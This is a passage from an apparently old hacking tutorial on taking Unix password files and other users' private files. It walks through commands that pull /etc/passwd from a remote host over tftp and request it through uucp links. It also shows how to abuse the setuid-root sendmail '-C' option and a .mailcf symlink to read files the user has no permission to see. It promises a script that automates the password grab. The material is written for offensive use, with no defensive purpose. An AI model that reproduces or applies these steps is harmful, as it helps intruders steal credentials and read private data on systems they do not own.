tftp> connect other.system.com

3.Now request the file you wish to get a copy of (in our case, the passwd file /etc/passwd):

tftp> get /etc/passwd /tmp/passwd

[You should see something that looks like the following:]

Received 185659 bytes in 22 seconds.

4.Now exit the tftp program with the "quit" command:

tftp> quit

You should now have a copy of other.system.com's passwd file in your directory.

NOTE: Some Unix systems' tftp programs have a different syntax. The above was tested under SunOS 4.0

For example, on Apollos, the syntax is:

tftp -{g|g!|p|r|w} <local file> <host> <foreign file> [netascii|image]

Thus you must use the command:

tftp -g password_file networked-host /etc/passwd

Consult your local "man" pages for more info (or in other words RTFM).

At the end of this article, I will include a shell script that will snarf a password file from a remote host. To use it type:

gpw system_name

Method B :

Assuming we are getting the file /etc/passwd from the system uusucker, and our system has a direct uucp connection to that system, it is possible to request a copy of the file through the uucp links. The following command will request that a copy of the passwd file be copied into uucp's home directory /usr/spool/uucppublic :

uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd'

The flag "-m" means you will be notified by mail when the transfer is completed.

Method C:

The third possible way to access the desired file requires that you have the login permission to the system.

In this case we will utilize a well-known bug in Unix's sendmail daemon.

The sendmail program has and option "-C" in which you can specify the configuration file to use (by default this file is /usr/lib/sendmail.cf or /etc/sendmail.cf). It should also be noted that the diagnostics outputted by sendmail contain the offending lines of text. Also note that the sendmail program runs setuid root.

The way you can abuse this set of facts (if you have not yet guessed) is by specifying the file you wish read as the configuration file. Thus the command:

sendmail -C/usr/accounts/random_joe/private/file

Will give you a copy of random joe's private file.

Another similar trick is to symlink your .mailcf file to joe's file and mail someone. When mail executes sendmail (to send the mail), it will load in your mailcf and barf out joe's stuff.

First, link joe's file to your .mailcf .